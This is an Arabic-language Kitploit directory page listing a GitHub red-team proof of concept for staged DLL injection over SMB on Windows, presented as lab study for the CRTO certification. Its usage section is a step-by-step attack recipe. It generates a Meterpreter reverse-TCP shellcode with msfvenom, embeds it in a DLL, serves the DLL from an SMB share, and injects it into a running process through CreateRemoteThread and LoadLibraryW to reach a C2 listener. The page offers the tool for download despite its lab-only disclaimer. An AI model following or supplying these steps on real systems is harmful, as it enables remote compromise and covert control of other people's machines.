Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
staged-DLL-Injection-SMB- — إثبات مفهوم لحقن DLL متدرج مبني بلغة C باستخدام واجهات برمجة تطبيقات Win32 — طُوّر في بيئة مختبرية معزولة لدراسة شهادة ريد تيم (CRTO). | Kitploit
أدوات/GitHubGitHub/kasturixbm5/staged-dll-injection-smb-
الاستغلالشيل كوداختبار الاختراقالتعلم والتعليمالفريق الأحمرتوليد شيفرة القشرةتطوير الحمولاتمختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
kasturixbm5/staged-dll-injection-smb-

staged-DLL-Injection-SMB-

إثبات مفهوم لحقن DLL متدرج مبني بلغة C باستخدام واجهات برمجة تطبيقات Win32 — طُوّر في بيئة مختبرية معزولة لدراسة شهادة ريد تيم (CRTO).

عرض المستودع
428منذ 2 أشهرتمت المراجعة من قبل Kitploit

staged-DLL-Injection

برهان مفهوم لحقن DLL على مراحل مكتوب بلغة C باستخدام Win32 APIs — طُوّر في بيئة مختبرية معزولة لدراسة شهادات فرق الاختراق الأحمر (CRTO).

⚠️ إخلاء مسؤولية: تم تطوير هذا المشروع حصريًا في بيئة مختبرية معزولة لأغراض تعليمية كجزء من أبحاث أمن الهجوم ودراسة الشهادات (CRTO). وهو غير مخصص للاستخدام ضد أي أنظمة دون إذن كتابي صريح. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.

نظرة عامة

برهان مفهوم لتطبيق حقن DLL على مراحل في نظام Windows، طُوّر كجزء من دراسات شهادات فرق الاختراق الأحمر. يعرض هذا المشروع كيفية قيام المرحلة الأولى (stager) بتحميل DLL خبيث عن بُعد داخل عملية هدف باستخدام Win32 APIs الأصلية. يعمل بشكل أفضل في بيئة Active Directory تسمح بحركة مرور SMB داخل الشبكة الداخلية، ولا يُنصح بالعمل عبر الإنترنت

الاستخدام

root@kitploit:~
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>

كيف يعمل

المرحلة الأولى (phc.c)

  • يستقبل PID العملية الهدف كوسيط سطر أوامر
  • يفتح مقبضًا (handle) على العملية الهدف عبر OpenProcess
  • يخصص ذاكرة داخل العملية الهدف عبر VirtualAlloc
  • يسترجع عنوان LoadLibraryW من Kernel32
  • يُنشئ خيطًا بعيدًا عبر CreateRemoteThread يستدعي LoadLibraryW، مما يحمّل الـ DLL من مشاركة SMB بعيدة

الـ DLL (maindll.dll)

  • يحتوي على حمولة shellcode مدمجة
  • DllMain يعمل تلقائيًا عند DLL_PROCESS_ATTACH
  • يخصص ذاكرة قابلة للتنفيذ عبر VirtualAlloc
  • ينسخ الـ shellcode إلى الذاكرة وينفذه عبر CreateThread

تسلسل الهجوم

phc.exe → فتح العملية الهدف → تخصيص ذاكرة في العملية الهدف → تحميل maindll.dll من مشاركة SMB عبر LoadLibraryW → تشغيل DllMain → تنفيذ الـ shellcode داخل العملية الهدف

التقنيات المستعرضة

  • حقن DLL عن بُعد عبر CreateRemoteThread + LoadLibraryW
  • تضمين وتنفيذ shellcode في لغة C
  • استغلال نقطة دخول الـ DLL عبر DllMain
  • الترحيل عن بُعد للحمولة عبر SMB

بُني باستخدام

  • C
  • Win32 API
  • msfvenom
  • Sliver C2

البيئة

تم اختباره على Windows 10 في بيئة مختبرية معزولة. خادم C2 مستضاف على Kali Linux.

تنزيل الأداة